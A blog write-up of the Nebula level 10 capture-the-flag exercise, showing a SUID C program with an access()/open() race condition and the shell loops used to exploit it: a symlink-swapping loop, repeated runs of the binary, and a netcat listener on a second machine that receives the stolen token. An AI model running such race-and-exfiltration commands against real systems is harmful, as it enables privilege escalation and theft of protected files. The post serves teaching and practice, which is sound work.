MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Nebula 10

| Comments

Challenge 10 is another nostalgic one for me. Back when I was first starting with linux, I remember reading about overflows and race conditions. This challenge is the latter, a race condition.

We’re given a C/C++ app to exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
 char *file;
 char *host;

 if(argc < 3) {
  printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
  exit(1);
 }

 file = argv[1];
 host = argv[2];

 if(access(argv[1], R_OK) == 0) {
  int fd;
  int ffd;
  int rc;
  struct sockaddr_in sin;
  char buffer[4096];

  printf("Connecting to %s:18211 .. ", host); fflush(stdout);

  fd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(host);
  sin.sin_port = htons(18211);

  if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
   printf("Unable to connect to host %s\n", host);
   exit(EXIT_FAILURE);
  }

#define HITHERE ".oO Oo.\n"
  if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
   printf("Unable to write banner to host %s\n", host);
   exit(EXIT_FAILURE);
  }
#undef HITHERE

  printf("Connected!\nSending file .. "); fflush(stdout);

  ffd = open(file, O_RDONLY);
  if(ffd == -1) {
   printf("Damn. Unable to open file\n");
   exit(EXIT_FAILURE);
  }

  rc = read(ffd, buffer, sizeof(buffer));
  if(rc == -1) {
   printf("Unable to read from file: %s\n", strerror(errno));
   exit(EXIT_FAILURE);
  }

  write(fd, buffer, rc);

  printf("wrote file!\n");

 } else {
  printf("You don't have access to %s\n", file);
 }
}

The problem with this code, is that it first checks to see if the user running the problem has access to the file (on line 24). It then assumes for the rest of the execution of the program, that we still have access to it. The point of this exercise is to trick the program by switching out the file while the program is running. Hence a race condition.

To set this one up, I used 2 machines, my Nebula machine, and another VM running BackTrack Linux. Any Linux should do, I just had this one handy. The only requirement is NetCat.

On the BackTrack machine (10.1.1.132 for me), I ran 2 terminals. The first contained:

1
root@bt:~# while :; do nc -l -p 18211 >> out.txt; done

The second contained:

1
root@bt:~# tail -f out.txt | grep -v ".oO Oo."

I ran both of these so that the first one would continuously open up a listening socket connection on port 18211 (per the vulnerable program), and append all information received to “out.txt”. The second command would continuously watch out.txt and output any lines that didn’t have the little banner the vulnerable program uses. That way I didn’t get spammed with trash I didn’t care about.

Now on the Nebula machine, I ran 2 more terminals. In the first, I ran:

1
level10@nebula:~$ while :; do ln -fs /tmp/token /tmp/token10; ln -fs /home/flag10/token /tmp/token10; done

And the second:

1
level10@nebula:~$ while :; do nice -n 20 ./flag10 /tmp/token10 10.1.1.132; done

These commands are pretty simple to pick apart. They both are endless loops, just like the earlier NetCat session. The first would create a symbolic link to /tmp/token10. However, it would alternate between using /tmp/token (a blank file I made), and /home/flag10/token. The idea is to try using /tmp/token when the access() is called in the vulnerable program, but then have /home/flag10/token be there when we actually send the file. It’s unreliable, but will eventually work. The second command runs the vulnerable program, passing it the symlinked file and the BackTrack IP. I used nice, to lower the priority as low as possible, so that hopefully the symlinking loop would operate faster.

When you have all of these terminals running, it’s just a matter of time before you get the token sent to you. Some iterations of flag10 will fail, some will succeed. Just watch the second terminal on the BackTrack machine, and eventually you’ll see the token come over. You should see this flying across the screen:

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Just stop all the terminals, and you should be done with this challenge. I did learn quite a bit on this one, as it was honestly my first race condition I’d ever had to exploit. My original methodology was to use GDB to start the program, and set a breakpoint after the initial access() was done. Then switch the file manually, and resume. This worked brilliantly, however I learned that when dealing with SUID programs, you can’t use GDB on them, unless you run GDB as root. This is a security design of Linux. So instead, I had to go with the quirky commands. I’m still interested in seeing if it could be done with a custom C++ app which would invoke flag10, and attach to the process using ptrace to duplicate my GDB idea. I just don’t know if it’ll work or not.

Comments